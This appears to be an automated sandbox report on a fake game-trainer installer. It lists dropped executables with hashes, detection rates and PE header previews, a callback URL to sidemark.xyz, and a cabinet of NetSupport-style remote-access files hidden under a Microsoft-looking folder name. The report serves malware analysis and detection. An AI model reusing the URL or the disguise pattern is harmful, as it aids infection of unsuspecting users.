File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2713088
Entropy (8bit):	7.916234280116349
Encrypted:	false
SSDEEP:	49152:7mhAB8oAIEwV+C2QgYYp9UJdsz6sxzA/I+EEq3PweW21CYr4JYXN:7mhAB8jP/lzEdsz6mc/0t54Yr4MN
MD5:	AC87E1B8B3A20F9AD653699B10768BED
SHA1:	E8F6AB19015DB6BDDFAD1B0FF4081B1CCD52B765
SHA-256:	2FDD512B43243B4EAB025B0E2CD16BACE575D6E324BF71E55980B193C5727E83
SHA-512:	3DE604E90EC0D513D0CF1ABB14780F3A4245C6516F2D37F0AA3DF5469187AAB0596A192E9788B7BBF454404F80223EA5249614645CD094CF89F5D0BFD5921C5E
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ee.............................Pj...........@..........................`j......t)...@.................................m`.......0..j$...................a...................................................................................... . . .......n..................@....rsrc...j$...0.......~..............@....idata .....`......................@... ..;..p......................@...jebeytzk..$..pE...$.................@...ukznpftb.....Pj......d).............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1938229521.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2590208
Entropy (8bit):	7.914825034664889
Encrypted:	false
SSDEEP:	49152:u6LLbv/D5qY6//gKpUMK2XQG/D7IS23JXzF37SPeWMcRVjzlxaqhAuHICh5:u67nD4Y6c2L7F2ZjFrnWnzlxaqy8ICb
MD5:	F00CEB5A4A875DDAE5A932FE767B8036
SHA1:	3BE99C7FB7392C1BFB4BDF1B3FC01CB4F49A51E0
SHA-256:	D0E33666ABEEAF8E136442390F4D4D5B5E25E242ECE7687E044670BBBC600B2C
SHA-512:	B7B78E1CF756E5925E0DF56B41B330EE6D0AF9B65D29F6743DB3DBD68940D6E6F913CC40DBAD4D838780F1DBFA2F2C570B3CAE84C7F0473E4C470AC82BBCFBD3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0......8........Q.. ........@.. ........................Q.....5F(...@.................................m ..........V5...................!...................................................................................... . ..... ....... ..............@....rsrc...V5..........................@....idata . ... ......................@... ..&..@......................@...nwdaionn..".. /...".................@...xkgpiuvi. ....Q.......'.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\INA2696.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI285D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI2B5C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	935952
Entropy (8bit):	6.465848738967934
Encrypted:	false
SSDEEP:	24576:w327CUJc4RQ8Btk8Y5EiwB4aNXVW+hv+AhiC:cAc4RQ8BtDAoB4aNXVW+hv+AhiC
MD5:	91D4A8C2C296EF53DD8C01B9AF69B735
SHA1:	AD2E5311A0F2DBBA988FBDB6FCF70034FDA3920D
SHA-256:	A787E7A1AD12783FCBF3F853940590329E0FF0DDDF17282324F2D95ED6408F23
SHA-512:	63C5506A55DEA2B3BD1C99B79B5668F5AFC0104564E92F07AFB42F2F2B67EAE9D0E0174CB36E6095A27A6C71496206042079B6E5A2B2FF787F3CB9EF20995E9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:b..[...[...[..7)...[..7)..Q[..#...[..#...[..#..[..7)...[..7)...[...[...Z..d"...[..d"...[..d"...[...[...[..d"...[..Rich.[..........PE..L...!.gb.........."!................ ........................................p......,.....@.........................0\|..t....\|.......`...............*.......p.......,..p...................@-.......+..@............................................text...N........................... ..`.rdata..T...........................@..@.data...T............x..............@....rsrc........`.......,..............@..@.reloc.......p.......2..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.325059360886426
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	C039C014580F43E5B8162552F3CAF067
SHA1:	06F24F301DB285EE9B116143FE2951D47EA92AA3
SHA-256:	4F42DD2793620AFDA4CA8F796AD433033ACC8E52A98B0D65A772650B17E8FAD8
SHA-512:	7ECDBDF5B430138D91C692F8C7061039B5F7A55AD8A65F75D5EB46B4D0AB22BCDACD1B9595DB84CC3A8D137BA90499114B94F9785A8DE547212CD3F6506A3669
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\is-AU4B5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5135220
Entropy (8bit):	7.896833008937199
Encrypted:	false
SSDEEP:	98304:ykLMpls+yc8Gr0ZjL7uWOm6qCNqjdySicpxXHR1fSd2xat29s4C1eH9R:dMPs+ycFI5LasRCIDDHRdEt5o9R
MD5:	ACA06319EC01C3DB9FFC2EA4CD8505B2
SHA1:	CA624E7A057811B60CFAD4D43BFA9672478400FF
SHA-256:	90BFBD0450FB8F0A5768F0BB159852AD980D68288829E9975A4F6B65BBC0BCE4
SHA-512:	953A95F367ACF7D85D9A8B6595A8803F4177FE7E74257A94DE74B439C7E2ACBCC001A79DDC050AE92F8C54BFEEEE7BCBBC8DB9AA172C77DBC5B9840B35691B8A
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................R...^.......^.......p....@.......................................@......@...................@....... .......p.......................................................`......................."..T....0.......................text....9.......:.................. ..`.itext.......P.......>.............. ..`.data....7...p...8...V..............@....bss.....m...............................idata....... ......................@....didata......0......................@....edata.......@......................@..@.tls.........P...........................rdata..]....`......................@..@.rsrc........p......................@..@....................................@..@........................................................

C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\is-FD3TF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\is-I8A2B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	152
Entropy (8bit):	5.4340264917664
Encrypted:	false
SSDEEP:	3:N1KNMBwFfOYKrZK3VVeR3hX/+39EgisUHHOW8dfD9/QVomUdYdn:CemFfH3V4E39WJ5sJ/Ndw
MD5:	7F9918E645C527A3D1C1AE2C3FE0E962
SHA1:	341EBF5B195C0AD479949FD25A5434A7C544D2D2
SHA-256:	B807CCEEE6E4B54A37808296E36C68343B40581F7D45B74B5DAE8F485E68BE06
SHA-512:	A88C567CA0E469181EEC5E24AA974AB6A033A9C61F04270A67F3B93A3EA0441693E58145367D9E08DD0E526E5BA20A5FD813AF874AC3F04702B5F738FEE71E98
Malicious:	false
Reputation:	unknown
Preview:	http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701870648

C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Download File

Process:	C:\Users\user\Desktop\ZmWSzgevgt.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.325059207580715
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	BE0E74DC6AC70C5B8CC74C42B6999A70
SHA1:	47C9E3346F8C051EA7415289E25E7836AD47500C
SHA-256:	D5485BA921C2D67DF5D63763C4650CAD24D8B7D7C65202A8F9CB5F3DAFDFCF12
SHA-512:	A851ED78B6F8C0ECBE449A20347DEBF2804DA656372F66CE907A6A7E29C9B921F3234CD17B5A044891CADF5F23708E11EA521AB1A007E5C24A95763E7E545A9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-J1954.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-J1954.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	Microsoft Cabinet archive data, many, 2424220 bytes, 15 files, at 0x2c +A "regid.1993-06.com.microsoft\atmfd.dll" +A "regid.1993-06.com.microsoft\client32.ini", number 1, 179 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	2424220
Entropy (8bit):	7.9975108289967425
Encrypted:	true
SSDEEP:	49152:/Se9VNpXouUUoFe7QNMiDL4yLu69Ps7UnyqYMU2so:KUpXFUpFMQamBLu69076LYMU6
MD5:	A3609F5F1214472B2990C05F551B0E7A
SHA1:	EC57B5E136D96DF6366562C9B5C73AAD89D619A0
SHA-256:	1863E3B433E0086A5B1A22F034DEF8CCEE6CA74A12DD59796AE3D7456567DB33
SHA-512:	BB86D4011FEEB245E2F80AA4F8AAFD230C9CF3DEAAE8F2B056BA60B6DEB22710E34E91177A5011B4897A70D82CFCE44ACDF08D8DA072BF8A9C02B3D1295CC51D
Malicious:	false
Reputation:	unknown
Preview:	MSCF......$.....,...................t..................RS4 .regid.1993-06.com.microsoft\atmfd.dll.x.........}Wz$ .regid.1993-06.com.microsoft\client32.ini...........}Wz$ .regid.1993-06.com.microsoft\client32u.ini.x..........I{. .regid.1993-06.com.microsoft\HTCTL32.DLL.P...~......Fn. .regid.1993-06.com.microsoft\msvcr100.dll.H.........6. .regid.1993-06.com.microsoft\nskbfltr.inf.:..........F.. .regid.1993-06.com.microsoft\NSM.ini.....P.....;U.@ .regid.1993-06.com.microsoft\NSM.LIC............<S. .regid.1993-06.com.microsoft\nsm_vpro.ini.x...A......I. .regid.1993-06.com.microsoft\pcicapi.dll.xI.../.....I. .regid.1993-06.com.microsoft\PCICHEK.DLL.x.9.1y.....I. .regid.1993-06.com.microsoft\PCICL32.DLL.x.....P....I@. .regid.1993-06.com.microsoft\remcmdstub.exe.x...!.Q....IL. .regid.1993-06.com.microsoft\TCCTL32.DLL.......W....W.} .regid.1993-06.com.microsoft\wmiprvse.exe..._..L..CK.{\|SU.8..$m.)'..(j..."v,jkPs..z")T.PG.L.G.J..#J.iKN.Gqd...3r..b......$-....":.83..u@.RP.]k........

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11087839
Entropy (8bit):	7.970064712035176
Encrypted:	false
SSDEEP:	196608:dUYE3u0TBI+XtXkIuujvX2yIo+DHA/wiSXM4YwWu/wjpC1SR/tt5o9S:qYuuI9XKIuuTbznYMtIWESRBo9S
MD5:	5AFE9D5A2BCC39B1E0573A77EFBE82B7
SHA1:	30D663A3516B4D34033DCF9FE7CE86FBA7D1299B
SHA-256:	C1076F9C4A3C06759B21E0E138DD640B2E5412DB4EA4EE16D7E9A0ABF663D25C
SHA-512:	A72C40355C391C3C1A4D64BBBB8CF7F9B46E62F804A04FFD843FE5EF313408E01BEC0E09D9777CBEC0780FFCFD83A070FA02D0C58F405D89E356FE143073DC5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................R...^.......^.......p....@.......................................@......@...................@....... .......p.......................................................`......................."..T....0.......................text....9.......:.................. ..`.itext.......P.......>.............. ..`.data....7...p...8...V..............@....bss.....m...............................idata....... ......................@....didata......0......................@....edata.......@......................@..@.tls.........P...........................rdata..]....`......................@..@.rsrc........p......................@..@....................................@..@........................................................

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4724720
Entropy (8bit):	7.0944141075328115
Encrypted:	false
SSDEEP:	98304:5YoIz3Q2HM5Qp4WzMIaX8/BG6v/gIV0sba5mFkDzLb:5i3QDCpQaJGkDegFwL
MD5:	FA24733F5A6A6F44D0E65D7D98B84AA6
SHA1:	51A62BEAB55096E17F2E17F042F7BD7DEDABF1AE
SHA-256:	DA1B144B5F908CB7E811489DFE660E06AA6DF9C9158C6972EC9C79C48AFACB7E
SHA-512:	1953201D8CD448AA7D23C3E57665546ACE835F97C8CC8D0F323573CEF03A6F317F86C7C3841268ECE1760B911C67845D7E6AA198A44F720DCA02A5A8BCB8E21E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............S...S...SA..R...SA..R+..SA..R...S...R...S...R...S...R...SA..R...SA..R...SA..R...S...SO..S...R..S..=S...S..US...S...R...SRich...S................PE..L...G.gb..........".......!.........D.........!...@.........................../.....'.H...@.................................$..(..................x.G.x.....-..[....$.p.....................$.......!.@.............!.......).`....................text.....!.......!................. ..`.rdata..di....!..j....!.............@..@.data.......0..j.................@....rsrc.............................@..@.reloc...[....-..\...D-.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	7.135582921236954
Encrypted:	false
SSDEEP:	24576:sqDEvCTbMWu7rQYlBQcBiT6rprG8aoikEZkukudi:sTvC/MTQYxsWR7aoiFZku9
MD5:	3372EE41B0B68A033CD0EA3120594E29
SHA1:	95288871FC18757C059A0E65F1EF914F598A8D9F
SHA-256:	DFD60B6870FFAE5BB75606F007FA2D70247280EBF08B165F8B05677BB83B5247
SHA-512:	05812A0EC12EA9E76E196FFE384C9950D9D47B55BA6E24F2A75206D7B67ACCD00590C67F9EDA8990826889B8779DC75AE0250EA600892C227F32469144801F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...D.je.........."..........Z......w.............@..........................`............@...@.......@.....................d...\|....@..$........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...$....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\idp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237568
Entropy (8bit):	6.42067568634536
Encrypted:	false
SSDEEP:	3072:dnSx3lws+iWbUmJmE8dxMw7r+mjT5PbzEFwyGIyTcHY10tSB9j:IP0bUmQEUr+mRcbTx4N
MD5:	55C310C0319260D798757557AB3BF636
SHA1:	0892EB7ED31D8BB20A56C6835990749011A2D8DE
SHA-256:	54E7E0AD32A22B775131A6288F083ED3286A9A436941377FC20F85DD9AD983ED
SHA-512:	E0082109737097658677D7963CBF28D412DCA3FA8F5812C2567E53849336CE45EBAE2C0430DF74BFE16C0F3EEBB46961BC1A10F32CA7947692A900162128AE57
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........)Wj.H99.H99.H99..D9.H99..W9.H99..T9-H99zGd9.H99.H894H99..K9.H99..C9.H99..E9.H99..A9.H99Rich.H99........................PE..L......W...........!................Nr..............................................0............................... ;......h/..d.......................................................................@............................................text...i........................... ..`.rdata...n.......p..................@..@.data....:...@... ...@..............@....rsrc................`..............@..@.reloc..b-.......0...p..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\is-7V18D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\is-AN6HU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:F:F
MD5:	EFF5BC1EF8EC9D03E640FC4370F5EACD
SHA1:	92A949FD41844E1BB8C6812CDEA102708FDE23A4
SHA-256:	DC51B8C96C2D745DF3BD5590D990230A482FD247123599548E0632FDBF97FC22
SHA-512:	672F8FF4AE8530DE295F9DD963724947841E6277EDEC3B21820B5E44D0A64BAEF90FB04E22048028453D715F79357ACC5BD2D566FE6EDE65F981BA3DDA06BAE4
Malicious:	false
Reputation:	unknown
Preview:	ok.

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\is-VP4RV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\play

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
